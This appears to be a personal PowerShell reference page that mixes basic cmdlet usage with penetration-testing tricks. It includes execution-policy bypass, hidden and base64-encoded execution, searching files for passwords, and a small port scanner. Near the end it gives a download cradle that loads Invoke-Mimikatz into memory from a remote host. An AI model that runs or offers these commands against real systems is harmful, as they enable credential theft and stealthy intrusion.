Powershell Basic

Why Powershell?

Powershell is built on top of .NET framework, making it convenient access to:

  • the .NET Framework API

  • Component Object Model (COM)

  • Windows Management Instrumentation (WMI)

Powershell Executable

For 64-bit system, there are 2 locations of powershell:

(64-bit) C:\windows\system32\WindowsPowerShell
(32-bit) C:\windows\SysWOW64\WindowsPowerShell

For 32-bit system, the location of powershell:

C:\windows\system32\WindowsPowerShell

To check the environment:

[Environment]::Is64BitProcess

Fucking Basic

Run as Administrator

powershell -command "Start-Process Powershell -Verb Runas"

Call Help

powershell /?
powershell -Help
powershell -?

Use a Different Version

powershell -Version 1
powershell -Version 2

Launch without Profiles

powershell -NoProfile

Execution Policy

Remember this is not for defensive purpose! No admin right is needed for this operation.

powershell -ep bypass [script_path]
powershell -ep unstricted [script_path]

Run in background

powershell -WindowStyle Hidden [script_path]
powershell -W h

Powershell Commands from CMD

powershell -Command [PS_command]

# Scriptblock Style
powershell -Command "& { Get-EventLog -LogName security}"

Base64 encoded Commands

powershell -EncodedCommand [Base64_encoded_command]
powershell -enc [B64_encoded_command]

Man in PS

Get-Help [PS_Command]
Get-Help [PS_Command] -Full
Get-Help [PS_Command] -Examples
Get-Help [PS_Command] -Online

# Update Help database
Update-Help

List Options Available

Get-Command -Name [Something]

# Example
Get-Command -Name *firewall*

Output Format

By default, the output will be in column format. But you can output differently:

| Format-List *
| fl *
| Format-Table *
| ft *

Also you can sort the output:

Get-Process | Sort-Object -Unique

Sort and select a field

Get-Process | Sort-Object -Unique | Select-Object <field_name>
| Sort-Object <field> -Descending

Suppress Error Message

<Powershell Command> -ErrorAction Ignore

Cmdlets (Command-Lets)

Cmdlets are:

  • Lightweight Powershell scripts that perform a single function

  • Instances of .NET Framework classes derived from the Cmdlet Base Class and provide access to system functions

  • Native commands in Powershell

  • Written in a "Verb-Noun" filename format which tells their function (e.g. Invoke-Command)

  • Use pipeline | to return output to other Cmdlets

Get-Process

Get-Process

To get all of the Properties:

Get-Process | Format-List [* / Properties]

For example:

PS C:\Users\brian> Get-Process Chrome | Sort-Object -Unique | Format-List Path
Path : C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Get-ChildItem

By default there are 3 alias:

PS C:\Users\brian> Get-Alias -Definition Get-ChildItem

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           dir -> Get-ChildItem
Alias           gci -> Get-ChildItem
Alias           ls -> Get-ChildItem

Get-WmiObject

Return information about WMI objects

For example, if we want to get verbose OS information:

Get-WmiObject -class win32_operatingsystem | select -Property *
Get-WmiObject -class win32_operatingsystem | fl *

Get Services:

Get-WmiObject -class win32_service | fl *

Export-CSV

Output result ... For example

Get-WmiObject -class win32_operatingsystem | fl * | Export-CSV .\host_info.csv

Accessing Registry

Convenient method in Powershell ...

cd HKLM:\

Get-Content (cat)

Get-Content <file>
cat <file>

Select-String: Grep

Select-String -Path .\*.txt -Pattern <pattern>

For example:

Select-String -Path .\*.txt -Pattern password

Also, we can do a for-loop to get all content from txt files in a folder: Note % stands for ForEach-Object and $_ stands for current values in the pipeline

ls -File *.txt | % {cat -Path $_ -Pattern <pattern> }

This is like grep in linux command line:

netstat -bano | Select-String "LISTENING"

Get-Service

List all installed Services:

Get-Service

Search for a specific service

 Get-Service "*Update*"

Modules

Modules typically have .psm1 file extension.

Types of modules:

  • Script Modules (Most common)

  • Binary Modules

  • Manifest Modules

  • Dynamic Modules

Get-Modules

To see imported modules:

PS C:\Users\brian\Desktop\temp> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Con... 
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}     
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS... 

To see all modules available:

Get-Module -ListAvailable

Import-Module

For example, if you have downloaded a Module from a GitHub project. To use it, you have to first import the module:

Import-Module .\module.psm1

After importing, you can view the available commands:

Get-Command -Module <Module Name>

Scripts

Usually ends with .ps1

Example script - cat.ps1

Param(
    [parameter(mandatory=$true)] [string]$file
)
Get-Content "$file"

When run: Note it asks for input file since we specify mandatory=$true

PS C:\Users\brian\Desktop\temp> .\cat.ps1

cmdlet cat.ps1 at command pipeline position 1
Supply values for the following parameters:
file: systeminfo.txt

PSComputerName                            : BRIANYAU-PC
Status                                    : OK
--snip--

Looping

In Powershell, we can do looping using:

  • for()

  • foreach()

  • while()

  • do {xxxxxx} while()

  • do {xxxxxx} until()

Loop Statement (xxx) and Loop Body {xxxxx}

$services = Get-Services
foreach ($service in $services) { $service.Name }

Another way to do looping, which we typically do | ForEach-Object { xxx $_.property xxx}

Get-Service | ForEach-Object {$_.Name}
Get-Service | % {$_.Name}

Where-Object - Filtering Result

Get-Process | Where-Object { $_.Name -like "*window*" }
Get-Process | ? { $_.Name -like "*window*" }

Mini Port Scanner

Param(
    [parameter(mandatory=$true)] [Int32]$low_port, 
    [parameter(mandatory=$true)] [Int32]$high_port, 
    [parameter(mandatory=$true)] [String]$target
)

$ports = $low_port..$high_port
$target = "$target"

echo "[+] Performing port scan on the target '$target' from TCP/$low_port to TCP/$high_port"

ForEach ( $port in $ports ) {
    try {
            $socket = New-Object System.Net.Sockets.TcpClient($target, $port);
    }
    catch {};
    if ( $socket -eq $null ) {
        echo $target":"$port" - Closed";
    }
    else {
        echo $target":"$port" - Open";
        $socket = $null;
    }
}

Objects

To be simple, an object is:

  • a collections of properties

  • with methods

Get-Member

To see the methods available for an Object:

Get-Process | Get-Member -MemberType Method

Property:

Get-Process | Get-Member -MemberType Property

For example, if we want to kill a process:

Get-Process -Name "*notepad*" | Kill

.NET Objects

WebClient

$webclient = (New-Object System.Net.WebClient).DownloadFile("http://somewhere/somefile.txt", "C:\Temp\somefile.txt)

For example, if we're attacking a remote host and you want it to import a script ... Like Import a Mimikatz in memory:

iex ((New-Object Net.WebClient).DownloadString("http://172.16.100.99/Invoke-Mimikatz.ps1"))
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://192.168.3.108/wget.exe', '.\wget.exe')"

Last updated